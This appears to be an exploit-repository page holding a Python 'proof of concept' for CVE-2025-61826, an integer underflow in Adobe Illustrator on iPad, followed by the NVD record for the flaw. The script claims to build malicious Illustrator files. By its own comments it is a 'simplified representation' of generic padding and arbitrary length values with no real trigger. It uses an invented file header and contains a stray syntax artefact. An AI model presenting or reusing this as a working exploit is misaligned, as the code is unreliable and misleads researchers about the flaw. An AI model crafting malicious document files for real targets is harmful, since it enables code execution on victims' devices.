CVE-2025-61826

# CVE-2025-61826 PoC - Adobe Illustrator iPad Integer Underflow # This PoC demonstrates the integer underflow vulnerability in Illustrator iPad # Note: This is for educational and security research purposes only import struct import os def create_malicious_illustrator_file(): """ Create a malicious Illustrator file that triggers integer underflow in Adobe Illustrator iPad version <= 3.0.9 """ # Illustrator file header (AI format) header = b'%!Ado' # AI file magic number # Crafted data that triggers integer underflow in file parser # The specific payload depends on the vulnerable code path # This is a simplified representation # Malicious payload structure payload = bytearray() # Add crafted length fields that will cause underflow # When processed: length_field - large_value < 0 triggers underflow length_field = struct.pack('<I', 0x00000001) # Small positive value subtract_value = struct.pack('<I', 0xFFFFFFFF) # Large value causing underflow # Construct the malicious data section malicious_data = b'\x00' * 100 # Padding malicious_data += length_field malicious_data += subtract_value malicious_data += b'\x41' * 50 # Trigger data # File metadata section metadata = b'%%Title: Malicious File\n' metadata += b'%%Creator: Security Research\n' # Combine all sections malicious_file = header + payload + malicious_data + metadata return malicious_file def generate_poc_files(): """Generate multiple PoC file variants""" # Variant 1: AI format ai_file = create_malicious_illustrator_file() with open('CVE-2025-61826_malicious.ait', 'wb') as f: f.write(ai_file) # Variant 2: Binary exploit with specific triggers exploit_data = bytearray() # Header exploit_data.extend(b'AI12')\n # Crafted binary data for i in range(256): # Integer underflow trigger pattern value = (i - 255) & 0xFF # Forces underflow in 8-bit context exploit_data.append(value) with open('CVE-2025-61826_exploit.bin', 'wb') as f: f.write(exploit_data) print(f"Generated PoC files for CVE-2025-61826") print(f"Files created:") print(f" - CVE-2025-61826_malicious.ait") print(f" - CVE-2025-61826_exploit.bin") print(f"\n[!] WARNING: These files are for authorized security testing only") if __name__ == '__main__': generate_poc_files()

{"cve": {"id": "CVE-2025-61826", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:42.040", "lastModified": "2025-11-12T16:49:40.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator on iPad versions 3.0.9 and earlier are affected by an Integer Underflow (Wrap or Wraparound) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator_on_ipad:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.10", "matchCriteriaId": "1998E69B-076B-4CC5-8F34-0B5B25FA88CC"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator-mobile-ios/apsb25-111.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}